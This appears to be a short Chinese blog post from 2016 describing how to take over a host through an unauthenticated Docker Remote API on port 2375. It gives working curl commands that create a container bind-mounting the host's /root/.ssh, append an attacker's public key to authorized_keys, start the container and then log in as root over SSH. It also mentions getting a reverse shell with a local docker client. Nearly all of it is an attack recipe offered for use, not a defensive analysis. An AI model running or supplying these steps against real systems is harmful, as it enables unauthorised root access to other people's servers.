Source:

昨天下午和今天上午一起和@ccst同学查资料讨论了下,以下是结果:

可以按照zone里面说的,直接使用docker本地客户端进行shell反弹,安装docker: curl -sSL https://get.docker.com/ | sh ,如果在链接的时候提示client版本高于服务器版本可以这样子:export DOCKER_API_VERSION=1.9.0,后面的版本自己定。

另外一种方法就是直接使用Remote API,把本地id_rsa.pub写入到远程宿主机的/root/.ssh/authorized_keys

先创建container,同时把宿主机的/root/.ssh挂载到docker的container某个目录,比如/tmp:

curl  -X POST  -H "Content-Type: application/json"  -d '{ "Cmd": [ "/bin/sh", "-c", " echo \"公钥\" >> /tmp/authorized_keys " ], "Image": "sshd", "Volumes": { "/tmp": {} }, "HostConfig": { "Binds": ["/root/.ssh:/tmp:rw"] } } ' "http://10.20.30.40:2375/containers/create"

上面的创建create中的Image可以先远程查看有哪些image: curl -v http://10.20.30.40:2375/images/json,这样会列出所有的image,从其中跳出来一个像这样的

"RepoTags": [ "nginx:latest" ], 注意nginx后面有一个latest。创建的时候指定image,尽可能找有latest的image,

以上命令会返回创建好的containerid然后启动container: curl -X POST http://10.20.30.40:2375/containers/id/start

然后直接连接就ok:ssh root@10.20.30.40

中间主要的坑就是把公钥写入到对应的文件里面,公钥前面要加\转义,并且必须要用双引号把公钥包含起来,创建的时候必须指定image。

参考资料:https://docs.docker.com/engine/reference/api/docker_remote_api_v1.21/#start-a-container

2016-05-18
Contents

⬆︎TOP